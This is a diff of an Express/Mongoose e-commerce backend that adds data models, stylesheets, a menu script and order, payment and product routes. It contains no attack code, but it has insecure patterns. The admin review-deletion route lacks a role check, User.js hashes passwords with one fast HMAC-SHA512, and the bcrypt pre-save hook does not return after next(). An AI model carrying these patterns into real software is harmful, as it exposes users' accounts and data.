|
||||
module.exports = mongoose.model('productimages', productImageSchema);
|
||||
37
server/models/QnA.js
Normal file
@@ -0,0 +1,37 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const qnaSchema = new mongoose.Schema({
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "product",
|
||||
required: true
|
||||
},
|
||||
qna: [{
|
||||
question: {
|
||||
type: String
|
||||
},
|
||||
questionby: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "user",
|
||||
},
|
||||
questionedDate:{
|
||||
type: Date
|
||||
},
|
||||
answer: {
|
||||
type: String
|
||||
},
|
||||
answerby: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
},
|
||||
answeredDate: {
|
||||
type: Date
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}]
|
||||
});
|
||||
|
||||
module.exports = mongoose.model("qna", qnaSchema);
|
||||
24
server/models/RefereshToken.js
Normal file
@@ -0,0 +1,24 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema
|
||||
const tokenSchema = mongoose.Schema({
|
||||
//we need user ref in order to create accessToken of that user only
|
||||
// user: {
|
||||
// type: Schema.Types.ObjectId,
|
||||
// refPath: "sysUsers",
|
||||
// },
|
||||
refreshToken:{
|
||||
type: String,
|
||||
default: ''
|
||||
},
|
||||
userIP: {
|
||||
type: String
|
||||
},
|
||||
// expires: {
|
||||
// type : Date
|
||||
// },
|
||||
// sysUsers: {
|
||||
// type: String,
|
||||
// enum: ['user', 'admin','dispatcher']
|
||||
// },
|
||||
});
|
||||
module.exports = mongoose.model('refreshtoken', tokenSchema);
|
||||
27
server/models/Remark.js
Normal file
@@ -0,0 +1,27 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const remarkSchema = mongoose.Schema({
|
||||
comment: {
|
||||
type: String
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
// createdBy: {
|
||||
// type: Schema.Types.ObjectId,
|
||||
// refPath: "deletedByModel"
|
||||
// },
|
||||
// deletedBy: {
|
||||
// type: Schema.Types.ObjectId,
|
||||
// refPath: "deletedByModel"
|
||||
// },
|
||||
// deleteByModel: {
|
||||
// type: String,
|
||||
// enum: ['dispatcher', 'admin', 'user', 'superadmin']
|
||||
// },
|
||||
// reason: {
|
||||
// type: String//product_tobereturned,cancel_order_by_admin, cancel_order_by_user, disapprove_product
|
||||
// }
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('remark', remarkSchema);
|
||||
20
server/models/Review.js
Normal file
@@ -0,0 +1,20 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const reviewSchema = mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'user'
|
||||
},
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'product'
|
||||
},
|
||||
comment: {
|
||||
type: String
|
||||
},
|
||||
star: {
|
||||
type: Number,
|
||||
max:5
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('reviews', reviewSchema);
|
||||
11
server/models/SocketMapping.js
Normal file
@@ -0,0 +1,11 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema
|
||||
//later we have to do mapping through redis server
|
||||
const socketMappingSchema = new mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
},
|
||||
socketId: String
|
||||
});
|
||||
module.exports = mongoose.model('socketmapping', socketMappingSchema);
|
||||
12
server/models/SuggestKeywords.js
Normal file
@@ -0,0 +1,12 @@
|
||||
const mongoose = require('mongoose');
|
||||
const suggestKeywordSchema = mongoose.Schema({
|
||||
keyword: {
|
||||
type: String,
|
||||
unique: true
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('suggestkeyword', suggestKeywordSchema);
|
||||
100
server/models/User.js
Normal file
@@ -0,0 +1,100 @@
|
||||
const mongoose = require("mongoose");
|
||||
const crypto = require("crypto");
|
||||
const Schema = mongoose.Schema
|
||||
const userSchema = new mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
email: {
|
||||
type: String,
|
||||
trim: true,
|
||||
// unique:true
|
||||
},
|
||||
userID: {
|
||||
type: String,
|
||||
trim: true,
|
||||
unique: true
|
||||
},
|
||||
loginDomain: {
|
||||
type: String,
|
||||
default: "system",//can be facebook, google as well
|
||||
enum:['system', 'facebook', 'google']
|
||||
},
|
||||
password: {
|
||||
type: String,
|
||||
// required: true
|
||||
},
|
||||
location: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "address"
|
||||
}],
|
||||
photo: {
|
||||
type: String
|
||||
},
|
||||
socialPhoto: {
|
||||
type: String
|
||||
},
|
||||
dob:{
|
||||
type: String
|
||||
},
|
||||
gender:{
|
||||
type:String,
|
||||
enum:['male','female','other']
|
||||
},
|
||||
resetPasswordLink: {
|
||||
type: String,
|
||||
default: ""
|
||||
},
|
||||
emailVerifyLink: {
|
||||
type: String,
|
||||
default: ""
|
||||
},
|
||||
salt: String,
|
||||
isBlocked: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
userSchema.index({ geolocation: "2dsphere" });
|
||||
|
||||
const sha512 = function (password, salt) {
|
||||
let hash = crypto.createHmac('sha512', salt);
|
||||
hash.update(password);
|
||||
let value = hash.digest('hex');
|
||||
return {
|
||||
passwordHash: value
|
||||
};
|
||||
};
|
||||
userSchema.pre('save', function (next) {
|
||||
let user = this;
|
||||
if (user.isModified('password')) {
|
||||
// salt
|
||||
const ranStr = function (n) {
|
||||
return crypto.randomBytes(Math.ceil(8))
|
||||
.toString('hex')
|
||||
.slice(0, n);
|
||||
};
|
||||
// applying sha512 alogrithm
|
||||
let salt = ranStr(16);
|
||||
let passwordData = sha512(user.password, salt);
|
||||
user.password = passwordData.passwordHash;
|
||||
user.salt = salt;
|
||||
next();
|
||||
} else {
|
||||
next();
|
||||
}
|
||||
})
|
||||
userSchema.statics.findByCredentials = async function (email, password) {
|
||||
let User = this;
|
||||
const user = await User.findOne({ email, loginDomain:'system' })
|
||||
if (!user) return ''
|
||||
let passwordData = sha512(password, user.salt)
|
||||
if (passwordData.passwordHash == user.password) {
|
||||
return user
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = mongoose.model("user", userSchema);
|
||||
20
server/models/WishList.js
Normal file
@@ -0,0 +1,20 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const wishSchema = mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'user'
|
||||
},
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'product'
|
||||
},
|
||||
quantity: {
|
||||
type: Number,
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('wishlist', wishSchema);
|
||||
18
server/models/minedProduct.js
Normal file
@@ -0,0 +1,18 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const forYouSchema = new mongoose.Schema({
|
||||
forYou: [{
|
||||
user:{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'user',
|
||||
unique: true
|
||||
},
|
||||
products: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'product',
|
||||
unique: true
|
||||
}]
|
||||
}]
|
||||
});
|
||||
|
||||
module.exports = mongoose.model("minedproduct", forYouSchema);
|
||||
92
server/models/orderModel.js
Normal file
@@ -0,0 +1,92 @@
|
||||
const mongoose = require('mongoose');
|
||||
|
||||
const orderSchema = new mongoose.Schema({
|
||||
shippingInfo: {
|
||||
address: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
city: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
state: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
country: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
pincode: {
|
||||
type: Number,
|
||||
required: true
|
||||
},
|
||||
phoneNo: {
|
||||
type: Number,
|
||||
required: true
|
||||
},
|
||||
},
|
||||
orderItems: [
|
||||
{
|
||||
name: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
price: {
|
||||
type: Number,
|
||||
required: true
|
||||
},
|
||||
quantity: {
|
||||
type: Number,
|
||||
required: true
|
||||
},
|
||||
image: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
product: {
|
||||
type: mongoose.Schema.ObjectId,
|
||||
ref: "Product",
|
||||
required: true
|
||||
},
|
||||
},
|
||||
],
|
||||
user: {
|
||||
type: mongoose.Schema.ObjectId,
|
||||
ref: "User",
|
||||
required: true
|
||||
},
|
||||
paymentInfo: {
|
||||
id: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
status: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
},
|
||||
paidAt: {
|
||||
type: Date,
|
||||
required: true
|
||||
},
|
||||
totalPrice: {
|
||||
type: Number,
|
||||
required: true,
|
||||
default: 0
|
||||
},
|
||||
orderStatus: {
|
||||
type: String,
|
||||
required: true,
|
||||
default: "Processing",
|
||||
},
|
||||
deliveredAt: Date,
|
||||
shippedAt: Date,
|
||||
createdAt: {
|
||||
type: Date,
|
||||
default: Date.now
|
||||
},
|
||||
});
|
||||
|
||||
module.exports = mongoose.model("Order", orderSchema);
|
||||
68
server/models/paymentModel.js
Normal file
@@ -0,0 +1,68 @@
|
||||
const mongoose = require('mongoose');
|
||||
|
||||
const paymentSchema = new mongoose.Schema({
|
||||
resultInfo: {
|
||||
resultStatus: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
resultCode: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
resultMsg: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
},
|
||||
txnId: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
bankTxnId: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
orderId: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
txnAmount: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
txnType: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
gatewayName: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
bankName: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
mid: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
paymentMode: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
refundAmt: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
txnDate: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
createdAt: {
|
||||
type: Date,
|
||||
default: Date.now
|
||||
}
|
||||
});
|
||||
|
||||
module.exports = mongoose.model("Payment", paymentSchema);
|
||||
122
server/models/productModel.js
Normal file
@@ -0,0 +1,122 @@
|
||||
const mongoose = require('mongoose');
|
||||
|
||||
const productSchema = new mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
required: [true, "Please enter product name"],
|
||||
trim: true
|
||||
},
|
||||
description: {
|
||||
type: String,
|
||||
required: [true, "Please enter product description"]
|
||||
},
|
||||
highlights: [
|
||||
{
|
||||
type: String,
|
||||
required: true
|
||||
}
|
||||
],
|
||||
specifications: [
|
||||
{
|
||||
title: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
description: {
|
||||
type: String,
|
||||
required: true
|
||||
}
|
||||
}
|
||||
],
|
||||
price: {
|
||||
type: Number,
|
||||
required: [true, "Please enter product price"]
|
||||
},
|
||||
cuttedPrice: {
|
||||
type: Number,
|
||||
required: [true, "Please enter cutted price"]
|
||||
},
|
||||
images: [
|
||||
{
|
||||
public_id: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
url: {
|
||||
type: String,
|
||||
required: true
|
||||
}
|
||||
}
|
||||
],
|
||||
brand: {
|
||||
name: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
logo: {
|
||||
public_id: {
|
||||
type: String,
|
||||
required: true,
|
||||
},
|
||||
url: {
|
||||
type: String,
|
||||
required: true,
|
||||
}
|
||||
}
|
||||
},
|
||||
category: {
|
||||
type: String,
|
||||
required: [true, "Please enter product category"]
|
||||
},
|
||||
stock: {
|
||||
type: Number,
|
||||
required: [true, "Please enter product stock"],
|
||||
maxlength: [4, "Stock cannot exceed limit"],
|
||||
default: 1
|
||||
},
|
||||
warranty: {
|
||||
type: Number,
|
||||
default: 1
|
||||
},
|
||||
ratings: {
|
||||
type: Number,
|
||||
default: 0
|
||||
},
|
||||
numOfReviews: {
|
||||
type: Number,
|
||||
default: 0
|
||||
},
|
||||
reviews: [
|
||||
{
|
||||
user: {
|
||||
type: mongoose.Schema.ObjectId,
|
||||
ref: "User",
|
||||
required: true
|
||||
},
|
||||
name: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
rating: {
|
||||
type: Number,
|
||||
required: true
|
||||
},
|
||||
comment: {
|
||||
type: String,
|
||||
required: true
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
user: {
|
||||
type: mongoose.Schema.ObjectId,
|
||||
ref: "User",
|
||||
required: true
|
||||
},
|
||||
createdAt: {
|
||||
type: Date,
|
||||
default: Date.now
|
||||
}
|
||||
});
|
||||
|
||||
module.exports = mongoose.model('Product', productSchema);
|
||||
78
server/models/userModel.js
Normal file
@@ -0,0 +1,78 @@
|
||||
const mongoose = require('mongoose');
|
||||
const validator = require('validator');
|
||||
const bcrypt = require('bcryptjs');
|
||||
const jwt = require('jsonwebtoken');
|
||||
const crypto = require('crypto');
|
||||
|
||||
const userSchema = new mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
required: [true, "Please Enter Your Name"],
|
||||
},
|
||||
email: {
|
||||
type: String,
|
||||
required: [true, "Please Enter Your Email"],
|
||||
unique: true,
|
||||
},
|
||||
gender: {
|
||||
type: String,
|
||||
required: [true, "Please Enter Gender"]
|
||||
},
|
||||
password: {
|
||||
type: String,
|
||||
required: [true, "Please Enter Your Password"],
|
||||
minLength: [8, "Password should have atleast 8 chars"],
|
||||
select: false,
|
||||
},
|
||||
avatar: {
|
||||
public_id: {
|
||||
type: String,
|
||||
},
|
||||
url: {
|
||||
type: String,
|
||||
}
|
||||
},
|
||||
role: {
|
||||
type: String,
|
||||
default: "user",
|
||||
},
|
||||
createdAt: {
|
||||
type: Date,
|
||||
default: Date.now,
|
||||
},
|
||||
resetPasswordToken: String,
|
||||
resetPasswordExpire: Date,
|
||||
});
|
||||
|
||||
userSchema.pre("save", async function (next) {
|
||||
|
||||
if (!this.isModified("password")) {
|
||||
next();
|
||||
}
|
||||
|
||||
this.password = await bcrypt.hash(this.password, 10);
|
||||
});
|
||||
|
||||
userSchema.methods.getJWTToken = function () {
|
||||
return jwt.sign({ id: this._id }, process.env.JWT_SECRET, {
|
||||
expiresIn: process.env.JWT_EXPIRE
|
||||
});
|
||||
}
|
||||
|
||||
userSchema.methods.comparePassword = async function (enteredPassword) {
|
||||
return await bcrypt.compare(enteredPassword, this.password);
|
||||
}
|
||||
|
||||
userSchema.methods.getResetPasswordToken = async function () {
|
||||
|
||||
// generate token
|
||||
const resetToken = crypto.randomBytes(20).toString("hex");
|
||||
|
||||
// generate hash token and add to db
|
||||
this.resetPasswordToken = crypto.createHash("sha256").update(resetToken).digest("hex");
|
||||
this.resetPasswordExpire = Date.now() + 15 * 60 * 1000;
|
||||
|
||||
return resetToken;
|
||||
}
|
||||
|
||||
module.exports = mongoose.model('User', userSchema);
|
||||
0
server/public/android-chrome-192x192.png
Normal file
6
server/public/css/auth.css
Normal file
@@ -0,0 +1,6 @@
|
||||
.login-form {
|
||||
width: 20rem;
|
||||
max-width: 90%;
|
||||
margin: auto;
|
||||
display: block;
|
||||
}
|
||||
24
server/public/css/cart.css
Normal file
@@ -0,0 +1,24 @@
|
||||
.cart__item-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
margin: auto;
|
||||
width: 40rem;
|
||||
max-width: 90%;
|
||||
}
|
||||
|
||||
.cart__item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 1rem;
|
||||
box-shadow: 0 2px 8px rgba(6, 18, 134, 0.788);
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.cart__item h1,
|
||||
.cart__item h2 {
|
||||
margin-right: 1rem;
|
||||
font-size: 1.2rem;
|
||||
margin: 0;
|
||||
}
|
||||
23
server/public/css/forms.css
Normal file
@@ -0,0 +1,23 @@
|
||||
.form-control {
|
||||
margin: 1rem 0;
|
||||
}
|
||||
|
||||
.form-control label,
|
||||
.form-control input,
|
||||
.form-control textarea {
|
||||
display: block;
|
||||
width: 100%;
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.form-control input,
|
||||
.form-control textarea {
|
||||
border: 1px solid #a1a1a1;
|
||||
font: inherit;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.form-control input:focus,
|
||||
.form-control textarea:focus {
|
||||
outline-color: #0e04276e;
|
||||
}
|
||||
302
server/public/css/main.css
Normal file
@@ -0,0 +1,302 @@
|
||||
@import url("https://fonts.googleapis.com/css?family=Open+Sans:400,700");
|
||||
@import url("https://fonts.googleapis.com/css2?family=Nanum+Gothic:wght@700&display=swap");
|
||||
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
@import url("https://fonts.googleapis.com/css2?family=Ranchers&display=swap");
|
||||
.logo-custom {
|
||||
font-family: "Ranchers";
|
||||
font-size: 22px;
|
||||
}
|
||||
|
||||
body {
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
font-family: "Nanum Gothic", "Open Sans", sans-serif;
|
||||
}
|
||||
|
||||
main {
|
||||
padding: 1rem;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
form {
|
||||
display: inline;
|
||||
}
|
||||
|
||||
.centered {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.image {
|
||||
height: 20rem;
|
||||
}
|
||||
|
||||
.image img {
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.main-header {
|
||||
width: 100%;
|
||||
height: 3.5rem;
|
||||
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
rgba(2, 0, 36, 1) 0%,
|
||||
rgba(13, 13, 38, 1) 0%,
|
||||
rgba(0, 212, 255, 1) 100%
|
||||
);
|
||||
padding: 0 1.5rem;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
box-shadow: 0 2px 10px rgba(6, 81, 241, 0.637);
|
||||
}
|
||||
|
||||
.main-header__nav {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
display: none;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
.main-header__item-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.main-header__item {
|
||||
margin: 0 1rem;
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.main-header__item a,
|
||||
.main-header__item button {
|
||||
font: inherit;
|
||||
background: transparent;
|
||||
border: none;
|
||||
text-decoration: none;
|
||||
color: white;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.main-header__item a:hover,
|
||||
.main-header__item a:active,
|
||||
.main-header__item a.active,
|
||||
.main-header__item button:hover,
|
||||
.main-header__item button:active {
|
||||
color: #ffeb3b;
|
||||
}
|
||||
|
||||
.mobile-nav {
|
||||
width: 30rem;
|
||||
height: 100vh;
|
||||
max-width: 90%;
|
||||
position: fixed;
|
||||
left: 0;
|
||||
top: 0;
|
||||
background: white;
|
||||
z-index: 10;
|
||||
padding: 2rem 1rem 1rem 2rem;
|
||||
transform: translateX(-100%);
|
||||
transition: transform 0.3s ease-out;
|
||||
}
|
||||
|
||||
.mobile-nav.open {
|
||||
transform: translateX(0);
|
||||
}
|
||||
|
||||
.mobile-nav__item-list {
|
||||
list-style: none;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.mobile-nav__item {
|
||||
margin: 1rem;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.mobile-nav__item a,
|
||||
.mobile-nav__item button {
|
||||
font: inherit;
|
||||
text-decoration: none;
|
||||
color: black;
|
||||
font-size: 1.5rem;
|
||||
padding: 0.5rem 2rem;
|
||||
background: transparent;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.mobile-nav__item a:active,
|
||||
.mobile-nav__item a:hover,
|
||||
.mobile-nav__item a.active,
|
||||
.mobile-nav__item button:hover,
|
||||
.mobile-nav__item button:active {
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
rgba(2, 0, 36, 1) 0%,
|
||||
rgba(13, 13, 38, 1) 0%,
|
||||
rgba(0, 212, 255, 1) 100%
|
||||
);
|
||||
color: white;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
#side-menu-toggle {
|
||||
border: 1px solid white;
|
||||
font: inherit;
|
||||
padding: 0.5rem;
|
||||
display: block;
|
||||
background: transparent;
|
||||
color: white;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#side-menu-toggle:focus {
|
||||
outline: none;
|
||||
}
|
||||
|
||||
#side-menu-toggle:active,
|
||||
#side-menu-toggle:hover {
|
||||
color: #ffeb3b;
|
||||
border-color: #ffeb3b;
|
||||
}
|
||||
|
||||
.backdrop {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100vh;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
z-index: 5;
|
||||
display: none;
|
||||
}
|
||||
|
||||
.grid {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
justify-content: space-around;
|
||||
align-items: stretch;
|
||||
}
|
||||
|
||||
.card {
|
||||
box-shadow: 0 2px 8px rgba(4, 151, 196, 0.425);
|
||||
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.card__header,
|
||||
.card__content {
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.card__header h1,
|
||||
.card__content h1,
|
||||
.card__content h2,
|
||||
.card__content p {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.card__image {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.card__image img {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.card__actions {
|
||||
padding: 1rem;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.card__actions button,
|
||||
.card__actions a {
|
||||
margin: 0 0.25rem;
|
||||
}
|
||||
|
||||
.btn {
|
||||
display: inline-block;
|
||||
padding: 0.25rem 1rem;
|
||||
text-decoration: none;
|
||||
font: inherit;
|
||||
border: 1px solid #0d042e;
|
||||
color: #0d042e;
|
||||
background: white;
|
||||
border-radius: 3px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.btn:hover,
|
||||
.btn:active {
|
||||
background-color: #0d042e;
|
||||
color: white;
|
||||
}
|
||||
|
||||
.btn.danger {
|
||||
color: red;
|
||||
border-color: red;
|
||||
}
|
||||
|
||||
.btn.danger:hover,
|
||||
.btn.danger:active {
|
||||
background: red;
|
||||
color: white;
|
||||
}
|
||||
.user-message {
|
||||
margin: auto;
|
||||
width: 90%;
|
||||
border: 1px solid rgb(6, 71, 97);
|
||||
padding: 0rem;
|
||||
|
||||
color: rgb(6, 71, 97);
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
.user-message--error {
|
||||
background: white;
|
||||
border: 1px solid red;
|
||||
color: red;
|
||||
}
|
||||
.pagination {
|
||||
margin-top: 2rem;
|
||||
text-align: center;
|
||||
}
|
||||
.pagination a {
|
||||
text-decoration: none;
|
||||
color: rgb(4, 59, 41);
|
||||
padding: 1rem;
|
||||
border: 1px solid rgb(4, 59, 41);
|
||||
margin: 0 1rem;
|
||||
border-radius: 50%;
|
||||
}
|
||||
.pagination a:hover,
|
||||
.pagination a:active,
|
||||
.pagination a.active {
|
||||
background-color: rgb(4, 19, 59);
|
||||
color: white;
|
||||
}
|
||||
|
||||
@media (min-width: 768px) {
|
||||
.main-header__nav {
|
||||
display: flex;
|
||||
}
|
||||
|
||||
#side-menu-toggle {
|
||||
display: none;
|
||||
}
|
||||
.user-message {
|
||||
width: 30rem;
|
||||
}
|
||||
}
|
||||
img {
|
||||
height: 15rem;
|
||||
}
|
||||
29
server/public/css/orders.css
Normal file
@@ -0,0 +1,29 @@
|
||||
.orders {
|
||||
list-style: none;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.orders__item h1 {
|
||||
margin: 0;
|
||||
font-size: 1rem;
|
||||
}
|
||||
|
||||
.orders__item {
|
||||
box-shadow: 2px 2px 8px 2px rgba(3, 1, 82, 0.822);
|
||||
padding: 1rem;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.orders__products {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.orders__products-item {
|
||||
margin: 0.5rem 0;
|
||||
padding: 0.5rem;
|
||||
border: 1px solid #070957;
|
||||
color: #170653;
|
||||
}
|
||||
27
server/public/css/product.css
Normal file
@@ -0,0 +1,27 @@
|
||||
.product-form {
|
||||
width: 20rem;
|
||||
max-width: 90%;
|
||||
margin: auto;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.product-item {
|
||||
width: 20rem;
|
||||
max-width: 95%;
|
||||
margin: 1rem;
|
||||
}
|
||||
|
||||
.product__title {
|
||||
font-size: 1.2rem;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.product__price {
|
||||
text-align: center;
|
||||
color: #4d4d4d;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.product__description {
|
||||
text-align: center;
|
||||
}
|
||||
16
server/public/js/main.js
Normal file
@@ -0,0 +1,16 @@
|
||||
const backdrop = document.querySelector('.backdrop');
|
||||
const sideDrawer = document.querySelector('.mobile-nav');
|
||||
const menuToggle = document.querySelector('#side-menu-toggle');
|
||||
|
||||
function backdropClickHandler() {
|
||||
backdrop.style.display = 'none';
|
||||
sideDrawer.classList.remove('open');
|
||||
}
|
||||
|
||||
function menuToggleClickHandler() {
|
||||
backdrop.style.display = 'block';
|
||||
sideDrawer.classList.add('open');
|
||||
}
|
||||
|
||||
backdrop.addEventListener('click', backdropClickHandler);
|
||||
menuToggle.addEventListener('click', menuToggleClickHandler);
|
||||
17
server/routes/orderRoute.js
Normal file
@@ -0,0 +1,17 @@
|
||||
const express = require('express');
|
||||
const { newOrder, getSingleOrderDetails, myOrders, getAllOrders, updateOrder, deleteOrder } = require('../controllers/orderController');
|
||||
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
|
||||
|
||||
const router = express.Router();
|
||||
|
||||
router.route('/order/new').post(isAuthenticatedUser, newOrder);
|
||||
router.route('/order/:id').get(isAuthenticatedUser, getSingleOrderDetails);
|
||||
router.route('/orders/me').get(isAuthenticatedUser, myOrders);
|
||||
|
||||
router.route('/admin/orders').get(isAuthenticatedUser, authorizeRoles("admin"), getAllOrders);
|
||||
|
||||
router.route('/admin/order/:id')
|
||||
.put(isAuthenticatedUser, authorizeRoles("admin"), updateOrder)
|
||||
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteOrder);
|
||||
|
||||
module.exports = router;
|
||||
13
server/routes/paymentRoute.js
Normal file
@@ -0,0 +1,13 @@
|
||||
const express = require('express');
|
||||
const { processPayment, paytmResponse, getPaymentStatus } = require('../controllers/paymentController');
|
||||
const { isAuthenticatedUser } = require('../middlewares/user_actions/auth');
|
||||
|
||||
const router = express.Router();
|
||||
|
||||
router.route('/payment/process').post(processPayment);
|
||||
|
||||
router.route('/callback').post(paytmResponse);
|
||||
|
||||
router.route('/payment/status/:id').get(isAuthenticatedUser, getPaymentStatus);
|
||||
|
||||
module.exports = router;
|
||||
26
server/routes/productRoute.js
Normal file
@@ -0,0 +1,26 @@
|
||||
const express = require('express');
|
||||
const { getAllProducts, getProductDetails, updateProduct, deleteProduct, getProductReviews, deleteReview, createProductReview, createProduct, getAdminProducts, getProducts } = require('../controllers/productController');
|
||||
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
|
||||
const { validateProduct } = require('../middlewares/validator');
|
||||
|
||||
const router = express.Router();
|
||||
|
||||
router.route('/products').get(getAllProducts);
|
||||
router.route('/products/all').get(getProducts);
|
||||
|
||||
router.route('/admin/products').get(isAuthenticatedUser, authorizeRoles("admin"), getAdminProducts, validateProduct);
|
||||
router.route('/admin/product/new').post(isAuthenticatedUser, authorizeRoles("admin"), createProduct, validateProduct);
|
||||
|
||||
router.route('/admin/product/:id')
|
||||
.put(isAuthenticatedUser, authorizeRoles("admin"), updateProduct)
|
||||
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteProduct);
|
||||
|
||||
router.route('/product/:id').get(getProductDetails);
|
||||
|
||||
router.route('/review').put(isAuthenticatedUser, createProductReview);
|
||||
|
||||
router.route('/admin/reviews')
|
||||
.get(getProductReviews)
|
||||
.delete(isAuthenticatedUser, deleteReview);
|
||||
|
||||
